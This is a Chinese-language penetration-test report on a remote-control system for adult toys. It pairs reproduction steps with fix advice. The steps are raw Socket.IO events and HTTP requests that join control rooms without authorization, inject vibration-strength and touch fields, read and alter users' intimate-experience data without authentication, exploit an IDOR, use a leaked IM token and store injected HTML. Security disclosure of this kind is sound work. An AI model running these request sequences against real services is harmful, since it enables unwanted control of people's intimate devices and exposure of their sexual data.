对某成人用品远控系统的渗透测试

成人用品远控系统渗透测试报告

1. 项目信息

测试目标:XX玩控成人用品远控系统

2. 漏洞概览

编号 漏洞名称 风险等级 状态
VL-001 Socket 房间未授权加入与成人用品设备控制字段注入 严重 已确认
VL-002 远控双方身份、设备状态与设备能力可伪造 严重 已确认
VL-003 Dream API 未授权读取成人用品体验与作息数据 高危 已确认
VL-004 Dream API 未授权写入震动体验配置与用户内容 严重 已确认
VL-005 Report 详情接口存在对象级越权读取 高危 已确认
VL-006 IM Token 暴露后可直接连接 IM 并收发实时消息 中危 已确认
VL-007 远程闹钟消息 msgId 可重复导致状态混淆 中危 已确认
VL-008 评论、头像等字段存在持久化 HTML 注入 中危 已确认存储与回显

invite_live.png

3. 成人用品远控字段说明

字段 含义 对设备/业务的影响
room 远控房间号或邀请码 决定进入哪个远控房间
join 加入房间事件 未授权加入后可进入目标远控会话
create 创建房间事件 可模拟房主侧建立远控会话
reenter 重连房间事件 可伪造对端重新进入房间
action 通常由加入方发送的控制事件 可承载震动强度、触控坐标、模式等控制字段
data 通常由房主方发送的数据事件 可承载设备状态、身份、远程闹钟回执等字段
motor_level 马达/震动强度等级 可影响振动棒、跳.蛋等设备的震动强度
mode 主模式编号 可切换互动玩法、震动模式或情景模式
sub_mode 子模式编号 可选择主模式下的具体玩法
is_play 模式是否播放 可伪造某个远控模式正在运行
x / y 触控坐标 可模拟远程触摸轨迹或手绘控制位置
lock 远控锁定状态 可影响远程触控是否锁定
isConn 设备连接状态 可伪造对端成人用品设备在线/离线
sb 设备类型或设备状态编号 可影响客户端对设备类型/状态的判断
device_name 设备名称 可伪造对端连接的成人用品设备名称
firmwareVersion 固件版本 可伪造设备固件信息
support_alarm 是否支持远程闹钟/告警 可伪造对端具备远程闹钟能力
bonus_scene_mode 情景/闹钟模式编号 可影响情景玩法或闹钟模式展示
bonus_scene_status 情景/闹钟状态 可伪造情景玩法启动或取消
alarm_receive_ok 告警消息接收确认 可伪造远程闹钟/告警已经被确认
alarm_msg_id 告警消息业务 ID 可与 IM 告警消息关联,造成状态混淆
vib_strength Dream/睡眠场景震动强度 可影响睡眠玩法中的震动强度
vib_freq_level 震动频率等级 可影响自定义序列中的震动频率
vib_duration_level 震动持续等级 可影响自定义序列中的震动持续时间
orgasm Dream 体验反馈字段 涉及Gao.Chao的成人用品体验反馈

4. 漏洞详情

VL-001 Socket 房间未授权加入与成人用品设备控制字段注入

属性 详情
风险等级 严重
漏洞类型 未授权访问 / 远控字段注入
影响服务 mxxxmxxx-game.secretgardon.commxxxmxxx-game-asia.secretgardon.commxxxmxxx-remote.secretgardon.commxxxmxxx-remote-asia.secretgardon.com
影响字段 roomjoinactiondatamotor_levelmodesub_modeis_playxylock

4.1.1 漏洞描述

Socket 远控服务仅凭 room 房间号即可加入远控房间。测试中未携带 Cookie、JWT、设备签名、登录用户标识或服务端授权令牌,直接发送 join {"room":"40122"} 即可进入房间。

加入房间后,服务端继续接受 actiondata 事件。攻击者可向房间内注入成人用品设备控制字段,例如震动强度 motor_level、互动模式 mode/sub_mode/is_play、触控坐标 x/y、远控锁定 lock 等。

4.1.2 复现步骤

步骤 1:建立 Socket.IO 连接后发送加入房间事件。

emit join {"room":"40122"}

服务端返回:

{"success":"room enter success"}

步骤 2:发送震动强度字段。

emit action {"motor_level":"2"}

服务端返回:

{"success":"yes"}

步骤 3:发送模式控制字段。

emit action {"mode":1,"sub_mode":0,"is_play":true,"des":"remote-mode-test"}

服务端返回:

{"success":"yes"}

步骤 4:发送触控坐标和锁定状态。

emit action {"x":"0.11","y":"0.77"}
emit action {"lock":"1"}

对端可收到:

{"x":"0.11","y":"0.77"}
{"lock":"1"}

4.1.3 实际样例

在双端房间 64106 中,加入方发送如下事件:

joiner emit action {"motor_level":"5"}

房主侧收到:

{"motor_level":"5"}

motor_level=5 表示较高等级震动强度。该字段进入成人用品远控状态机后,会影响振动棒、跳.蛋等设备的震动体验。

加入方发送触控坐标:

joiner emit action {"x":"0.11","y":"0.77"}

房主侧收到:

{"x":"0.11","y":"0.77"}

该字段可模拟远程触摸位置,影响基于手势、触控或手绘模式的互动反馈。

4.1.4 修复建议

  • 房间加入必须校验登录态和服务端签发的短期房间令牌。
  • room 只能作为房间标识,不能作为授权凭证。
  • 服务端必须绑定 room -> user -> device -> role -> socket
  • motor_levelmodesub_modeis_playx/ylock 等成人用品设备控制字段必须按角色和状态机做白名单校验。

VL-002 远控双方身份、设备状态与设备能力可伪造

属性 详情
风险等级 严重
漏洞类型 身份伪造 / 设备状态伪造
影响服务 Socket 远控服务
影响字段 reqIduserIdnickavatarisConnsbdevice_namefirmwareVersionsupport_alarm

4.2.1 漏洞描述

远控房间内的身份字段和设备状态字段均由客户端提交,服务端未校验发送者是否为真实房间成员或真实设备所有者。攻击者可以伪造配对方昵称、头像、用户 ID、设备在线状态、设备名称、设备类型和远程闹钟能力。

4.2.2 复现步骤

步骤 1:伪造加入方身份。

emit action {"reqId":"joiner-seq","nick":"joiner-nick-seq","avatar":""}

对端收到:

{"reqId":"joiner-seq","nick":"joiner-nick-seq","avatar":""}

步骤 2:伪造房主身份。

emit data {"userId":"owner-seq","nick":"owner-nick-seq","avatar":""}

对端收到:

{"userId":"owner-seq","nick":"owner-nick-seq","avatar":""}

步骤 3:伪造设备连接状态。

emit action {"isConn":true,"sb":0,"device_name":"probe","firmwareVersion":"poc"}

服务端接受:

{"success":"yes"}

步骤 4:伪造远程闹钟能力。

emit data {"support_alarm":true}

服务端接受:

{"success":"yes"}

4.2.3 实际样例

攻击者发送:

emit action {"isConn":true,"sb":0,"device_name":"probe"}

字段含义:

  • isConn=true:伪造对端成人用品设备在线。
  • sb=0:伪造设备类型或设备状态编号。
  • device_name="probe":伪造设备名称。

该问题可导致用户误判配对方设备状态,进而信任错误的远控会话。

4.2.4 修复建议

  • 身份字段必须由服务端根据登录态填充,不允许客户端自报。
  • 设备状态必须来自真实设备绑定关系或设备心跳,不允许普通 Socket 消息伪造。
  • support_alarmdevice_namefirmwareVersion 等设备能力字段应由服务端可信数据源生成。

VL-003 Dream API 未授权读取成人用品体验与作息数据

属性 详情
风险等级 高危
漏洞类型 未授权读取
影响服务 dream-api.secretgardon.com
影响接口 GET /user/{uuid}/dream/latestPOST /user/{uuid}/dreams?page=1GET /tags?uuid={uuid}&lang=zh

4.3.1 漏洞描述

Dream API 在知道 uuid 的情况下允许未登录读取用户 Dream 记录、作息数据、体验反馈和标签。该数据与成人用品使用场景直接相关,包含睡眠时间、唤醒时间、震动体验反馈、X高潮感觉等敏感字段。

4.3.2 复现步骤

未携带 Cookie 读取最新 Dream 记录:

GET /user/e08a746d/dream/latest HTTP/1.1
Host: dream-api.secretgardon.com

服务端返回:

{
  "code": 0,
  "details": {
    "record": {
      "bed_time": 1780408706,
      "wakeup_time": 1780412306,
      "dream_id": 2,
      "id": 50396,
      "uuid": "e08a746d",
      "version": "1.0",
      "feedback": {
        "experience": 4,
        "orgasm": 2,
        "suggest": "TEST-jianyi",
        "used_dream": 1
      },
      "tags": [
        {
          "tag_id": 677,
          "tag_name": "marker_tag"
        }
      ]
    }
  },
  "msg": "success"
}

未携带 Cookie 读取 Dream 历史列表:

POST /user/e08a746d/dreams?page=1 HTTP/1.1
Host: dream-api.secretgardon.com

服务端返回:

{
  "code": 0,
  "details": {
    "count": 6,
    "records": [
      {
        "bed_time": 1780408706,
        "created": 1780412307,
        "dream_id": 2,
        "id": 50396,
        "uuid": "e08a746d",
        "version": "1.0",
        "wakeup_time": 1780412306
      }
    ]
  },
  "msg": "success"
}

4.3.3 实际样例

回包中包含以下敏感字段:

  • bed_time:用户入睡时间。
  • wakeup_time:用户唤醒时间。
  • feedback.experience:成人用品体验评分。
  • feedback.orgasm:Gao.Chao体验反馈。
  • tags:用户体验标签。

这些字段可反映用户作息、成人用品使用习惯和私密体验反馈。

4.3.4 修复建议

  • Dream 读取接口必须要求认证。
  • 服务端必须校验 uuid 与当前登录用户的归属关系。
  • 与成人用品体验相关的字段应按敏感个人数据处理,默认禁止跨用户读取。

VL-004 Dream API 未授权写入震动体验配置与用户内容

属性 详情
风险等级 严重
漏洞类型 未授权写入 / 数据篡改
影响服务 dream-api.secretgardon.com
影响接口 /dream/add/dream/feedback/add/dream/bedtime/update/dream/seq/custom/update/tag/add/dream/tags/add/dream/comment/add/version/like

4.4.1 漏洞描述

Dream API 多个写接口不要求登录态,服务端直接信任客户端传入的 uuid。攻击者可未授权创建 Dream 记录、修改体验反馈、修改睡眠震动配置、修改自定义震动序列、创建标签、绑定标签、写评论、修改点赞状态。

4.4.2 复现步骤

未授权创建 Dream 记录:

POST /dream/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded

uuid=e08a746d&dream_id=2&bed_time=1780408706&wakeup_time=1780412306&version=1.0

读取后可见记录:

{
  "code": 0,
  "details": {
    "records": [
      {
        "bed_time": 1780408706,
        "dream_id": 2,
        "id": 50396,
        "uuid": "e08a746d",
        "version": "1.0",
        "wakeup_time": 1780412306
      }
    ]
  },
  "msg": "success"
}

未授权修改体验反馈:

POST /dream/feedback/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded

uuid=e08a746d&dr_id=50396&used_dream=1&experience=4&orgasm=2&suggest=TEST-jianyi

服务端返回:

{"code":0,"msg":"success"}

未授权修改睡眠震动强度:

POST /dream/bedtime/update HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded

uuid=e08a746d&version=0.0.1&conf={"bed_time":"23:11","wake_up":"07:22","vib_strength":4}

服务端返回:

{
  "code": 0,
  "details": {
    "conf": {
      "bed_time": "23:11",
      "wake_up": "07:22",
      "vib_strength": 4
    },
    "version": "0.0.1"
  },
  "msg": "success"
}

未授权修改自定义震动序列:

POST /dream/seq/custom/update HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded

uuid=e08a746d&version=0.0.1&seq_id=1&custom={"vib_duration_level":2,"vib_freq_level":3,"vib_strength_level":4}

服务端返回:

{
  "code": 0,
  "details": {
    "custom": {
      "vib_duration_level": 2,
      "vib_freq_level": 3,
      "vib_strength_level": 4
    },
    "custom_id": 146,
    "seq_id": "1",
    "version": "0.0.1"
  },
  "msg": "success"
}

4.4.3 实际样例

以下字段可被未授权修改:

  • vib_strength=4:睡眠玩法震动强度。
  • vib_freq_level=3:自定义序列震动频率。
  • vib_duration_level=2:自定义序列震动持续时间。
  • vib_strength_level=4:自定义序列震动强度。
  • orgasm=2:成人用品体验反馈。

4.4.4 修复建议

  • 所有 Dream 写接口必须要求认证。
  • 目标用户必须从服务端会话解析,不能信任客户端传入的 uuid
  • 震动强度、震动频率、震动持续时间、体验反馈等字段必须做对象归属校验。

VL-005 Report 详情接口存在对象级越权读取

属性 详情
风险等级 高危
漏洞类型 IDOR / 对象级授权缺失
影响服务 mmapi-asia.secretgardon.commmapi.secretgardon.com
影响接口 GET /report/{rId}

4.5.1 漏洞描述

Report 详情接口只校验调用者是否登录,没有校验 rId 是否属于当前登录用户。测试中 A 账号创建的 report,B 账号可直接通过 rId 读取;未登录访问同一 rId 返回 USER_NOT_AUTH

4.5.2 复现步骤

A 账号创建 report 后返回:

{
  "code": 0,
  "details": {
    "programme": "TEST-report",
    "r_id": 26208,
    "suggestions": "Test-jianyi-1",
    "u_id": "c0c85c061fc74b5995db72dc486eb66e"
  },
  "msg": "success"
}

B 账号读取 A 的 report:

GET /report/26208 HTTP/1.1
Host: mmapi-asia.secretgardon.com
Cookie: token=<B账号JWT>

服务端返回:

{
  "code": 0,
  "details": {
    "programme": "TEST-report",
    "r_id": 26208,
    "suggestions": "Test-jianyi-1",
    "total_score": 44,
    "total_time": 60,
    "u_id": "c0c85c061fc74b5995db72dc486eb66e"
  },
  "msg": "success"
}

未登录读取同一 report:

GET /report/26208 HTTP/1.1
Host: mmapi-asia.secretgardon.com

服务端返回:

{"errcode":"USER_NOT_AUTH","success":"false"}

4.5.3 实际样例

B 账号成功读取到 A 账号 report 中的 programmesuggestionstotal_scoretotal_timeu_id 等字段。该类 report 与用户身体训练、设备体验、评分和建议相关,属于敏感业务数据。

4.5.4 修复建议

  • GET /report/{rId} 必须校验 rId 是否属于当前登录用户。
  • 所有直接对象引用 ID 都应在服务端做对象级授权校验。

VL-006 IM Token 暴露后可直接连接 IM 并收发实时消息

属性 详情
风险等级 中危
漏洞类型 敏感凭证暴露 / IM 数据面接入
影响服务 mmaccount-asia.secretgardon.commmaccount.secretgardon.com
影响接口 /user/imbind/user/get_user_info

4.6.1 漏洞描述

账号接口返回 RongCloud imToken。使用该 token 可直接连接 IM,并以对应用户身份收发实时消息,包括普通文本消息和成人用品远程闹钟类自定义消息 app:alarmmsg

历史漫游读取返回 ROAMING_SERVICE_UNAVAILABLE_MESSAGE,获取某账号 token 后,可直接进入该账号 IM 数据面并监听后续实时消息。

4.6.2 复现步骤

获取 IM token:

POST /user/imbind HTTP/1.1
Host: mmaccount-asia.secretgardon.com
Cookie: token=<账号JWT>

服务端返回:

{
  "code": "200",
  "result": {
    "imToken": "<RongCloud IM Token,已脱敏>"
  }
}

使用 token 连接 IM 后返回:

{
  "action": "connect",
  "account": {
    "name": "A",
    "uuid": "33f75573-eab0-4800-9eae-2da5ddceb26b"
  },
  "result": {
    "id": "33f75573-eab0-4800-9eae-2da5ddceb26b"
  },
  "connectError": null
}

A 向 B 发送文本消息,B 在线监听收到:

{
  "messageType": "RC:TxtMsg",
  "content": {
    "content": "miniapp-text-20260603-1"
  },
  "senderUserId": "33f75573-eab0-4800-9eae-2da5ddceb26b",
  "messageUId": "CUHF-A7JU-EJE4-4JS3",
  "isPersited": true,
  "isCounted": true
}

A 向 B 发送 app:alarmmsg,B 在线监听收到:

{
  "messageType": "app:alarmmsg",
  "content": {
    "time": "1780463395",
    "mode": 2,
    "msgId": "alarm-20260603-1"
  },
  "senderUserId": "33f75573-eab0-4800-9eae-2da5ddceb26b",
  "messageUId": "CUHF-AQBQ-AV24-4JS3",
  "isPersited": true,
  "isCounted": true
}

历史漫游读取返回:

{
  "code": 25102,
  "msg": "ROAMING_SERVICE_UNAVAILABLE_MESSAGE"
}

4.6.3 实际样例

app:alarmmsg 字段含义:

字段 含义
time 远程闹钟/告警触发时间
mode 远程闹钟/告警模式
msgId 业务消息 ID

该消息与成人用品远程闹钟、告警或情景提醒相关。IM token 泄露会使攻击者绕过 App 正常流程,直接以目标用户身份发送或监听实时 IM 消息。

4.6.4 修复建议

  • imToken 应短期有效,并绑定设备、会话和用途。
  • 高敏 IM token 不应在普通资料接口长期回显。
  • 服务端应限制 app:alarmmsg 等成人用品相关自定义消息的发送权限。

VL-007 远程闹钟消息 msgId 可重复导致状态混淆

属性 详情
风险等级 中危
漏洞类型 业务逻辑缺陷 / 状态混淆
影响消息类型 app:alarmmsg
影响字段 msgIdalarm_receive_okalarm_msg_id

4.7.1 漏洞描述

服务端允许在同一会话中发送多条 app:alarmmsg,且这些消息可使用相同 msgId。客户端又通过 Socket 字段 alarm_receive_ok/alarm_msg_id 处理远程闹钟/告警确认,导致不同真实消息可能共享同一个业务状态 ID。

4.7.2 复现步骤

发送第一条远程闹钟消息:

{
  "messageType": "app:alarmmsg",
  "content": {
    "time": "1780464169",
    "mode": 1,
    "msgId": "dup-msgid-20260603"
  }
}

发送第二条远程闹钟消息,复用相同 msgId

{
  "messageType": "app:alarmmsg",
  "content": {
    "time": "1780464817",
    "mode": 3,
    "msgId": "dup-msgid-20260603"
  }
}

接收端收到两条不同消息:

[
  {
    "messageType": "app:alarmmsg",
    "content": {
      "time": "1780464169",
      "mode": 1,
      "msgId": "dup-msgid-20260603"
    },
    "messageUId": "CUHF-EE40-FMA4-4JS3"
  },
  {
    "messageType": "app:alarmmsg",
    "content": {
      "time": "1780464817",
      "mode": 3,
      "msgId": "dup-msgid-20260603"
    },
    "messageUId": "CUHF-EPR9-QI64-4JS3"
  }
]

Socket 可发送相同业务 ID 的确认回执:

emit data {"alarm_receive_ok":true,"alarm_msg_id":"dup-msgid-20260603"}

4.7.3 实际样例

两条消息的 msgId 均为 dup-msgid-20260603,但服务端分配的 messageUId 分别为:

CUHF-EE40-FMA4-4JS3
CUHF-EPR9-QI64-4JS3

这说明两条是真实独立消息,但业务状态 ID 相同。当客户端使用 msgId 更新本地远程闹钟状态时,可能把错误消息标记为已接收或已确认。

4.7.4 修复建议

  • app:alarmmsg.msgId 必须在会话范围内唯一。
  • 告警确认应绑定服务端不可伪造的 messageUId
  • alarm_receive_ok/alarm_msg_id 必须校验发送者、接收者和消息归属。

VL-008 评论、头像等字段存在持久化 HTML 注入

属性 详情
风险等级 中危
漏洞类型 持久化 HTML 注入 / 潜在 Stored XSS
影响服务 dream-api.secretgardon.com、账号资料接口
影响字段 commentnickavatar

4.8.1 漏洞描述

Dream 评论和部分资料字段允许写入 HTML 或属性打断字符串,并在后续接口中原样返回。当前已确认数据可存储、可持久化、可回显;未确认在真实后台审核页面执行 JavaScript。

4.8.2 复现步骤

写入 HTML 内容:

POST /dream/comment/add HTTP/1.1
Host: dream-api.secretgardon.com
Content-Type: application/x-www-form-urlencoded

uuid=e08a746d&dr_id=2&avatar=&version=1.0&nick=codexC&comment=<b>html_marker_20260602231845</b>

服务端返回:

{"code":0,"msg":"success"}

读取评论列表:

GET /dream/2/comments?page=1 HTTP/1.1
Host: dream-api.secretgardon.com

服务端返回:

{
  "code": 0,
  "details": {
    "comments": [
      {
        "c_id": 399,
        "comment": "<b>html_marker_20260602231845</b>",
        "created": "2026-06-02 23:18:46",
        "dr_id": 2,
        "nick": "codexC",
        "status": 1,
        "uuid": "e08a746d",
        "version": "1.0"
      }
    ]
  },
  "msg": "success"
}

4.8.3 实际样例

comment 字段中的 <b>html_marker_20260602231845</b> 被原样存储并返回。若后台审核、客服系统、WebView 或 H5 页面未做 HTML 转义,该问题可升级为 Stored XSS。

4.8.4 修复建议

  • 评论、昵称、头像等用户可控字段输出时必须做上下文相关编码。
  • avatar 字段应限制为合法 URL,不允许 HTML 片段、引号打断和事件属性。
  • 后台审核页面不得直接使用用户输入拼接 HTML。

5. 综合风险结论

本次测试确认,目标系统存在可影响成人用品远控链路的高风险漏洞。最严重问题是 Socket 房间未授权接入与控制字段注入,攻击者可进入房间并发送与成人用品设备直接相关的字段,包括 motor_levelmode/sub_mode/is_playx/ylocksupport_alarmalarm_receive_ok 等。

Dream API 未授权读写进一步扩大了风险面。攻击者可读取或篡改用户作息、睡眠场景、震动强度、震动频率、震动持续时间、成人用品体验反馈和评论内容。

IM 侧已确认的问题是:获取账号 IM token 后,可直接连接 IM 并收发实时消息,包括成人用品远程闹钟类 app:alarmmsg

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。